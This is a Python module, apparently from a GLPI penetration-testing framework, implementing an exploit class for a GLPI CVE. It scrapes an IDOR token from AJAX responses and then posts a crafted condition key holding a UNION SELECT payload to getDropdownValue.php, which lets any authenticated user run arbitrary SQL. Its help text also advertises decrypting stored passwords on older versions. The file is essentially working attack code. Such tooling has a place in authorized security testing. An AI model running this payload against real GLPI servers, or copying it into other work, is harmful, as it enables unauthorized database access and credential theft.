import re
import time
from http import HTTPStatus
from packaging import version
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils
from glpwnme.exploits.sql_injection_mixin import SqlInjectionMixin

class CVE_2026_22044(GlpiExploit):
    """
    This CVE abuse a check which is a misconfig on Session::ValidateIDOR
    It was not fixed right, and was correctly fixed when they patched
    CVE-2026-47678.

    @author RIOUX Guilhem
    @cvss 6.4
    @name CVE_2026_22044
    """
    min_version = ("0.85", "11.0.0")
    max_version = ("10.0.26", "11.0.8")
    _impacts = "SQL Injection"
    _privilege = "User"
    _is_check_opsec_safe = True

    js_regex = {"idor_token": re.compile(r"_idor_token[\s\"]*:\s*(\")?([A-Za-z0-9]+)(\1)?\s*[,}]"),
                "right": re.compile(r"right[\s\"]*:\s*(\")?(\w+)(\1)?\s*[,}]"),
                "entity": re.compile(r"entity_restrict[\s\"]*:\s*(\")?([^\"\s]+)(\1)?\s*[,}]")}

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allows any authenticated user to execute arbitrary SQL queries.\n"
        infos += "\n[b red u]Important:[/]\nOn GLPI < 9.5.0, encrypted password can be decrypted, see [i u]--decrypt-password[/] method\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]sql (default: SELECT VERSION())[/i]:\tRaw SQL query to run (must return 1 result)\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += SqlInjectionMixin.get_help_usage()

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def _extract(self, name, html):
        """
        Extract a regex from html
        """
        val = re.findall(self.js_regex[name], html)
        if val:
            all_match = val[0]
            if len(all_match) == 3:
                result = all_match[1]
                if result == "null":
                    return ""
                return result
        Log.log(f"Cannot find property {name}")
        return None

    def _get_necessary_values(self, html):
        """
        Recover the idor_token and some other necessary values for exploit
        """
        values = {"_idor_token": ""}
        values["_idor_token"] = self._extract("idor_token", html)

        right = self._extract("right", html)
        if right:
            values["right"] = right

        entity = self._extract("entity", html) # entity_restrict: "[0,1]"
        if entity:
            values["entity_restrict"] = entity

        return values

    def run(self, sql="SELECT VERSION()"):
        """
        Run the exploit on the target
        """
        Log.log(f"Exploiting [cadet_blue]SQL Injection[/cadet_blue] using item [blue]Config[/blue]")
        if self.is_version_equal_or_above("11.0"):
            res = self.post("/ajax/dropdownValidator.php", data={"validatortype": "group", "right": "all", "entity": -1})
            add_values = self._get_necessary_values(res.text)
            add_values["itemtype"] = "Group"
            add_values["displaywith[]"] = "value"
            add_values["conditions[]"] = ""
            add_values["searchtype"] = "under"
            add_values["searchopt[field]"] = "id"
            add_values["searchopt[datatype]"] = "dropdown"
            add_values["searchopt[itemtype]"] = "Config"
            res = self.post("/ajax/search.php?action=display_searchoption_value", data=add_values)
        else:
            res = self.post("/ajax/searchoptionvalue.php",
                            data={"itemtype": "Config", 
                                  "searchopt[displaywith][]":"value",
                                  "searchopt[datatype]": "dropdown",
                                  "searchtype": "under",
                                  "value": 5,
                                  "searchopt[field]": "test",
                                  "num": "1",
                                  "searchopt[table]": "glpi_configs"})
        add_values = self._get_necessary_values(res.text)

        add_values["itemtype"] = "Config" # Important for passing the IDOR check, as the classname is used
        add_values["displaywith[]"] = "value"
        add_values["page"] = 1
        add_values["page_limit"] = 1000
        add_values["display_emptychoice"] = 1
        add_values["emptylabel"] = "******* SQLi Result *********"
        add_values[f"condition[LEFT JOIN][glpi_users][RAW][1=1))) WHERE 1=0 UNION SELECT 0x3a, 0x3a, 0x3a, ({sql}) FROM glpi_users -- -]"] = "0"

        exploit_res = self.post("/ajax/getDropdownValue.php", data=add_values)

        try:
            results = exploit_res.json()["results"]
            if sql:
                Log.msg(f"Result of [cadet_blue]{sql}[/cadet_blue]:")
            else:
                Log.msg(f"Result of `{table}` ([cadet_blue]{fields}[/cadet_blue]):")

            for value in results:
                if "text" in value.keys():
                    values_splitted = value["text"].split(" - ")
                    print(";".join(values_splitted))

                if "children" in value.keys():
                    for val in value["children"]:
                        print(val)

        except Exception as e:
            Log.err(e)
